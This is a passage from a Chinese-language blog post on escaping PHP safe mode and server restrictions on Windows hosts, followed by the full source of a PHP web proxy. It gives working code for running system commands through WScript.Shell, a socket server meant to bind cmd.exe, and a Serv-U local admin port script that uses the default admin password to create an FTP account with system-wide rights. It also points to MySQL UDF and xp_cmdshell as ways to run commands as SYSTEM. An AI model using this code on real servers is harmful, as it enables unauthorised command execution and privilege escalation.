w32api_register_function("User32.dll",
"MessageBoxA",
"long");

// 取得开机时间信息
$ticks = GetTickCount();

// 转换为易于理解的文本
$secs = floor($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);

$str = sprintf("You have been using your computer for:".
"\r\n %d Milliseconds, or \r\n %d Seconds".
"or \r\n %d mins or\r\n %d hours %d mins.",
$ticks,
$secs,
$mins,
$hours,
$mins - ($hours*60));

// 显示一个消息对话框,只有一个 OK 按钮和上面的开机时间文本
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK);
?>

可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。

3、COM 和 .Net(Windows)函数的应用

COM(Component Object Model,组件对象模型)是微软开发的软件规范,它用于开发面向对象的、编译好的软件组件,它允许把软件抽象成为二进制的部件,主要运用于windows平台。
PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法,并把COM的类名作为参数传递到构造函数。例如使用在PHP中调用“WScript.Shell”执行系统命令:

<?
$cmd=” E:/cert/admin/psexec.exe”;
if($com=new COM("WScript.Shell")) echo "yes";

if(!$cmd1=$com->exec($cmd))
{
echo "can not exec()";
}

if(!$cmd2=$cmd1->stdout())
{
echo "can not stdout()";
}

if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>

图1是我写的一个执行psexec.exe的一个例子。

这段代码与ASP的<%=server.createobject("wscript.shell").exec("cmd.exe /c netstat –an”).stdout.readall%>的意思是一模一样的,当然,你也可以像ASP那样调用“ADODB.Connection”,利用这个组件结合jet2溢出漏洞,可能能够在PHP Saft mode=ON下拿到一个Shell。

<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
…..
?>

.Net 函数只能运行在 PHP 5上,当然,它需要 “.Net runtime”的支持,而且这的PHP的一个实验性模块,功能还未齐全,所以在这就不讨论了。

4、Java()函数的应用

该方法适用于safe mode=on。要使用JAVA模块服务器必须事先安装Java虚拟机,而且在PHP安装配置的时候打开了with-java的选项,代码如下:

[JAVA]
;这是到php_java.jar的路径
;java.class.path = .\php_java.jar
;JDK的路径
;Java.home = f:\jdk1.3.0
;到虚拟机的路径
;Java.library=f:\jdk1.3.0\jre\bin\hostspot\jvm.dll

同COM一样,使用Java创建类(不仅仅是JavaBeans)只需把JAVA的类名作为参数传递到构造函数。以下是手册里边的一个例子:

<?php
// This example is only intended to be run as a CGI.

$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');

$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;

$thread = new Java('java.lang.Thread');
$thread->sleep(10000);

$frame->dispose();
?>

可惜能真正支持JAVA的PHP服务器并不多见,所以在这也不多讨论了。

5、socket()函数的应用

socket 是PHP中功能极为强大的一个模块,如果你使用高级的、抽象的接口(由fsockopen()和psockopen函数打开的socket),是不需要打开“php_sockets.dll”的。但是如果要使用完整的socket函数块,就必须在php.ini这样设置:

;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
……..
;去掉以下一句最前边的分号
;extension=php_sockets.dll

使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器, 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子,你可以用它来捆绑上服务器的cmd.exe:

<?php
//在服务器上构造TCP服务
//该例子需要php_sockets.dll的支持
//执行后便可使用” telnet 127.0.0.1 1020”连接
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();

//在服务器上绑定IP和端口
$address = '127.0.0.1';
$port = 1020;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}

if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . 
socket_strerror($ret) . "\n";
}

if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}

do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));

do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";

//以下处理接受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/

} while (true);
socket_close($msgsock);
} while (true);

socket_close($sock);
?>

效果如图2、图3所示。

事实上,很多主机都是没有加载php_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子:

<?
$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {

//可以写入$shellcode
// fputs ($fp, $shellcode);

fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>

还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。

6、MYSQL/MSSQL接口
不同于linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。
在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。

总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!

后面附上proxy.php的代码

<?php
error_reporting(E_ALL);

/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/

function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}

class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' =
> 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;

function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ? 's' : '')
. "://";
$this->set_flags($flags);
}

function start_transfer($url)
{
$this->set_url($url);
$this->open_socket();
$this->set_request_headers();
$this->set_response();

if ($this->follow_location() === false)
{
if ($this->flags['accept_cookies'] == 1)
{
$this->set_cookies();
}
$this->set_content_type();
}
else
{
$this->start_transfer($this->url);
}
}

function open_socket()
{
$this->socket = @fsockopen($this->url_segments['host'], $this->url_segments['port'], &$errno, &$errstr, 5);

if ($this->socket === false)
{
$this->trigger_error("$errstr (<b>URL:</b> )");
}
}

function set_response()
{
fwrite($this->socket, $this->request_headers);
$response = '';

do
{
$data = fread($this->socket, 8192);
$response .= $data;
}
while (strlen($data) != 0);

fclose($this->socket);
preg_match("#(.*?)\r\n\r\n(.*)#s", $response, $matches);

$this->response_headers = $matches[1];
$this->response_body = $matches[2];
}

function set_content_type()
{
preg_match("#content-type:([^\r\n]*)#i", $this->response_headers, $matches);

if (trim($matches[1]) != '')
{
$content_type_array = explode(';', $matches[1]);
$this->content_type = strtolower(trim($content_type_array[0]));
}
}

function set_url($url)
{
$this->url = $this->decode_url($url);

if (strpos($this->url, '://') === false)
{
$this->url = 'http://' . $this->url;
}

$url_segments = @parse_url($this->url);

if (!empty($url_segments))
{
$url_segments['port'] = isset($url_segments['port']) ? $url_segments['port'] : 80;
$url_segments['path'] = isset($url_segments['path']) ? $url_segments['path'] : '/';
$url_segments['dir'] = substr($url_segments['path'], 0, strrpos($url_segments['path'], '/'));
$url_segments['base'] = $url_segments['scheme'] . '://' . $url_segments['host'] . $url_segments['dir'];
$url_segments['prev_dir'] = $url_segments['path'] != '/' ? substr($url_segments['base'], 0, strrpos($url_segments['base'], '/')+1) : $url_segments['base'] . '/';

$this->url_segments = $url_segments;

/*
URL: http://username:password@< wind_code_1 >
scheme // http
host // www.example.com
port // 80
user // username
pass // password
path // /dir/dir/page.php
query // ? 'foo=bar&foo2=bar2'
fragment // # 'bookmark'

dir // /dir/dir
base // http://www.example.com/dir/dir
prev_dir // http://www.example.com/dir/
*/

if (!empty($this->allowed_hosts) && !in_array($this->url_segments['host'], $this->allowed_hosts))
{
$this->trigger_error('You are only allowed to browse these websites: ' . implode(', ', $this->allowed_hosts));
}
}
else
{
$this->trigger_error('Please supply a valid URL');
}
}

function encode_url($url)
{
$url = str_rot13(urlencode(preg_replace('#^([\w+.-]+)://#i', "/", $url)));
return $url;
}

function decode_url($url)
{
$url = preg_replace('#^([\w+.-]+)/#i', "://", urldecode(str_rot13($url)));
return $url;
}

function modify_urls()
{
preg_match_all("#\s(href|src|action|codebase|url)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", $this->response_body, $matches, PREG_SET_ORDER);

foreach ($matches as $match)
{
$uri = trim($match[3]);
$fragment = ($hash_pos = strpos($uri, '#') !== false) ? '#' . substr($uri, $hash_pos) : '';

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
switch (substr($uri, 0, 1))
{
case '/':
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
break;
case '#':
continue 2;
default:
$uri = $this->url_segments['base'] . '/' . $uri;
break;
}
}

$uri = $this->encode_url($uri);
$replace = ' ' . $match[1] . '=' . $match[2] . $this->script_url . '?url=' . $uri . $fragment . $match[4] . $match[5];

$this->response_body = str_replace($match[0], $replace, $this->response_body);
}
}

function set_flags($flags)
{
if (is_numeric($flags))
{
setcookie('flags', $flags, time()+(4*7*24*60*60), '', $_SERVER['HTTP_HOST']);
$this->flags['include_form'] = $flags == 1 ? 1 : 0;
$this->flags['remove_scripts'] = $flags == 1 ? 1 : 0;
$this->flags['accept_cookies'] = $flags == 1 ? 1 : 0;
$this->flags['show_images'] = $flags == 1 ? 1 : 0;
$this->flags['show_referer'] = $flags == 1 ? 1 : 0;
}
else if (isset($_COOKIE['flags']))
{
$this->set_flags($_COOKIE['flags']);
}
}

function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";

if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}

$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
$this->set_post_body($_POST);

$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: " . strlen($this->post_body) . "\r\n\r\n";
$headers .= $this->post_body;
}

$headers .= "\r\n";

$this->request_headers&nbsp
;= $headers;
}

function set_post_body($array, $parent_key = null)
{
foreach ($array as $key => $value)
{
if (is_array($value))
{
$this->set_post_body($value, isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key));
}
else
{
$this->post_body .= $this->post_body != '' ? '&' : '';
$key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);
$this->post_body .= $key . '=' . urlencode(__stripslashes($value));
}
}
}

function follow_location()
{
if (preg_match("#(location|uri):([^\r\n]*)#i", $this->response_headers, $matches))
{
$uri = $this->decode_url(trim($matches[2]));

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
if (substr($uri, 0, 1) == '/')
{
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
}
else
{
$uri = $this->url_segments['prefix'] . '/' . $uri;
}
}

$this->url = $uri;
return true;
}
return false;
}

function set_cookies()
{
if (preg_match_all("#set-cookie:([^\r\n]*)#i", $this->response_headers, $matches))
{
foreach ($matches[1] as $match)
{
preg_match('#^\s*([^=;,\s]*)=?([^;,\s]*)#', $match, $cookie) ? list(, $name, $value) = $cookie : null;
preg_match('#;\s*expires\s*=([^;]*)#i', $match, $cookie) ? list(, $expires) = $cookie : null;
preg_match('#;\s*path\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $path) = $cookie : null;
preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $domain) = $cookie : null;
preg_match('#;\s*(secure\b)#i', $match, $cookie) ? list(, $secure) = $cookie : null;

$expires = isset($expires) ? strtotime($expires) : 0;
$path = isset($path) ? $path : $this->url_segments['dir'];
$domain = isset($domain) ? $domain : $this->url_segments['host'];
$domain = rtrim($domain, '.');

if (!preg_match("#$domain$#i", $this->url_segments['host']))
{
continue;
}
if (preg_match('#\.(com|edu|net|org|gov|mil|int|aero|biz|coop|info|museum|name|pro)$#i', $domain))
{
if (substr_count($domain, '.') < 2)
{
continue;
}
}
else if (substr_count($domain, '.') < 3)
{
continue;
}
setcookie(urlencode("PHProxy;$name;$domain;$path"), $value, $expires, '', $_SERVER['HTTP_HOST']);
}
}
}

function get_cookies($restrict = true)
{
if (!empty($_COOKIE))
{
$cookies = '';

foreach ($_COOKIE as $cookie_name => $cookie_value)
{
$cookie_args = explode(';', urldecode($cookie_name));

if ($cookie_args[0] != 'PHProxy')
{
continue;
}

if ($restrict)
{
list(, $name, $domain, $path) = $cookie_args;
$domain = str_replace('_', '.', $domain);

if (preg_match("#$domain$#i", $this->url_segments['host']) && preg_match("#^$path#i", $this->url_segments['path']))
{
$cookies .= $cookies != '' ? '; ' : '';
$cookies .= "$name=$cookie_value";
}
}
else
{
array_shift($cookie_args);
$cookie_args[1] = str_replace('_', '.', $cookie_args[1]);
$cookie_args[] = $cookie_value;
$cookies[] = $cookie_args;
}
}
return $cookies;
}
}

function delete_cookies($hash)
{
$cookies = $this->get_cookies(false);

foreach ($cookies as $args)
{
if ($hash == 'all' || $hash == md5($args[0].$args[1].$args[2].$args[3]))
{
setcookie(urlencode("PHProxy;$args[0];$args[1];$args[2]"), '', 1);
}
}
}

function return_response($send_headers = true)
{
if (strpos($this->content_type, 'text/html') !== false || strpos($this->content_type, 'xhtml') !== false)
{
if ($this->flags['remove_scripts'] == 1)
{
$this->remove_scripts();
}
if ($this->flags['show_images'] == 0)
{
$this->remove_images();
}

$this->modify_urls();

if ($this->flags['include_form'] == 1)
{
$this->include_form();
}
}
$headers = explode("\r\n", trim($this->response_headers));
$headers[] = 'Content-Disposition: '. (strpos($this->content_type, 'octet_stream') ? 'attachment' : 'inline') .'; filename='. substr($this->url_segments['path'], strrpos($this->url_segments['path'], '/')+1);
$headers[] = 'Content-Length: '. strlen($this->response_body);

if ($send_headers)
{
foreach ($headers as $header)
{
header($header);
}
}

return $this->response_body;
}

function remove_scripts()
{
$this->response_body = preg_replace('#<script[^>]*?>.*?</script>#si', '', $this->response_body); // Remove any scripts enclosed between <script />
$this->response_body = preg_replace("#\s*(\bon\w+)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", "", $this->response_body); // Remove javascript event handlers
$this->response_body = preg_replace('#<noscript>(.*?)</noscript>#si', "", $this->response_body); //expose any html between <noscript />

}

function remove_images()
{
$this->response_body = preg_replace('#<(img|image)[^>]*?>#si', '', $this->response_body);
}

function include_form()
{
ob_start();
?><script src="javascript.js" type="text/javascript"></script>
<div style="text-align: center;border: 1px solid #00c; color: #000066;background-color: #eeeeff;font-size: 11px">
<form name="proxy_form" method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form name="settings" action="" method="get" onsubmit="return submit_form();">
Current URI: <input type="text" size="66" name="url" value="<?php echo $this->url ?>" />
<input type="submit" name="browse" value="Browse" onclick="return submit_form();" />
<input type="checkbox" name="new_window" value="true" /> New Window [<a href="<?php echo $this->script_url ?>?url=<?php&nbsp
;echo $this->encode_url($this->url_segments['prev_dir']) ?>">Up One Directory</a>]<br />
<?php echo $this->options_list() ?>
</form></div><hr style="color: #000066" /><?
$form_html = ob_get_contents();
ob_end_clean();
$this->response_body = preg_replace("#\<body(.*?)\>#si", "\n$form_html", $this->response_body, 1);
}

function trigger_error($error)
{
header("Location: $this->script_url?error=$error");
exit;
}

function options_list($tabulate = false, $comments_on = false)
{
$output = '';
$comments = array();
$comments['include_form'] = 'Includes a mini URL-form on every HTML page';
$comments['remove_scripts'] = 'Remove all sorts of client-side scripting';
$comments['accept_cookies'] = 'Accept HTTP cookies';
$comments['show_images'] = 'Show images';
$comments['show_referer'] = 'Show referring website in HTTP headers';

foreach ($this->flags as $flag_code => $flag_status)
{
$interface = array(ucwords(str_replace('_', ' ', $flag_code)),
' <input type="checkbox" name="ops[]"'
. ($flag_status == 1 ? ' checked="checked"' : '') . ' /> '
);
$tabulate ? null : $interface = array_reverse($interface);

$output .= ($tabulate ? '<tr><td class="option">' : '')
. $interface[0]
. ($tabulate ? '</td><td class="option">' : '')
. $interface[1]
. ($comments_on ? $comments[$flag_code] : '')
. ($tabulate ? '</td></tr>' : '');
}

return $output;
}

}

$PHProxy = new PHProxy(isset($_GET['flags']) ? $_GET['flags'] : null);

if (isset($_GET['action'], $_GET['delete']) && $_GET['action'] == 'cookies')
{
$PHProxy->delete_cookies($_GET['delete']);
header("Location: $PHProxy->script_url?action=cookies");
exit();
}

if (isset($_GET['url']))
{
$PHProxy->start_transfer($_GET['url']);
echo $PHProxy->return_response();
exit();
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>PHProxy</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<style>
body
{
margin: 10px 0px 0px 0px;
padding: 0px;
font-size: 12px;
}

form, input
{
margin: 0px;
padding: 0px;
}

body, input
{
font-family: lucida sans unicode, lucida, helvetica, verdana, arial, sans-serif;
}

input
{
font-size: 10px;
font-weight: bold;
color: #E76B18;

}

.title
{
font-size: 25px;
color: #E67D0B;
border-bottom: 1px solid #E76B18;
}

.error
{
font-size: 12px;
background-color: #FF0000;
color: #FFFFFF;
border-bottom: 1px solid #E76B18;
}

#container
{
border: 1px solid #CCCDD7;
width: 700px;
margin: auto;
}

#menu
{
border-left: 1px solid #CCCDD7;
border-bottom: 1px solid #CCCDD7;
float: right;
height: 20px;
background-color: #EEEEEE;
}

.option
{
height: 25px;
border-bottom: 1px solid #3399FF;
}

.shade
{
background-color: #EEEEEE;
}

.head
{
background-color: #A2AACE;
}

a:link, a:visited
{
color: #21A121;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}

a:hover, a:active
{
color: #3399FF;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}
</style>
<script type="text/javascript">
alpha1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
alpha2 = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

function str_rot13(str)
{
newStr = '';

for (i = 0; i < str.length; i++)
{
curLet = str.charAt(i);
curLetLoc = alpha1.indexOf(curLet);

if (curLet == '#')
{
document.proxy_form.action += str.substring(i, str.length)
}

newStr += (curLetLoc < 0) ? curLet : alpha2.charAt(curLetLoc);
}

return newStr;
}

function submit_form()
{
flags = '';

for (i = 0; i < document.settings.elements['ops[]'].length; i++)
{
flags += (document.settings.elements['ops[]'].checked == true) ? '1' : '0';
}

document.proxy_form.flags.value = flags;
document.proxy_form.target = (document.settings.new_window.checked == true) ? '_blank' : '_top';
searchPattern = /^([\w+.-]+):\/\//gi;
document.proxy_form.url.value = str_rot13(document.settings.url.value.replace(searchPattern, "\/"));
document.proxy_form.submit();
return false;
}
</script>
</head>
<body>
<div id="container">
<div id="menu"><a href="?action=form">URL Form</a> | <a href="?action=cookies">Manage Cookies</a></div>
<div class="title">PHProxy</div>
<?php

if (isset($_GET['error']))
{
echo '<div class="error"><b>Error:</b> ' . $_GET['error'] . '</div>';
}

if (isset($_GET['action']) && $_GET['action'] == 'cookies')
{
$cookies = $PHProxy->get_cookies(false);

if (!empty($cookies))
{
echo '<table style="width: 100%">';
echo '<tr><td class="option" colspan="5"><a href="?action=cookies&delete=all">Clear All Cookies</a></td></tr>';
echo '<tr><td class="head">Name</td><td class="head">Domain</td><td class="head">Path</td><td class="head">Value</td><td class="head">Action</td></tr>';

for ($i = 0; $i < count($cookies); $i++)
{
$j = $i&1 ? ' class="shade"' : '';
echo "<tr><td$j></td><td$j></td><td$j></td>"
. "<td$j></td><td$j><a href=". '"?action=cookies&delete='. md5(implode('', $cookies[$i])) . '">delete</a></td></tr>';
}

echo '</table>';
}
else
{
echo '<div class="error">No cookies&nbs
p;available.</div>';
}
}
else
{
?>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>" name="proxy_form">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form method="get" name="settings" action="" onsubmit="return submit_form();">
<table style="width: 100%">
<tr><td class="option" style="width: 20%">URL</td><td class="option" style="width: 80%"> <input type="text" name="url" size="70" value="" /></td></tr>
<?php echo $PHProxy->options_list(true, true) ?>
</table>
<div style="text-align: center"><input type="checkbox" name="new_window" />New Window <input type="submit" name="browse" value="Browse" onclick="return submit_form();" /><input type="reset" value="Reset Form" /></div>

<?
/*
<div style="text-align: center"><a href="PHProxyhttp://sourceforge.net/projects/poxy/">PHProxy</a> <?php echo $PHProxy->version ?> Copyright 2004 <a href="ultimategamer00http://www.whitefyre.com/">ultimategamer00</a></div>
*/
?>

</form>
<?php
}

echo '</div></body></html>';
?>

分类: 技术文章 标签: ,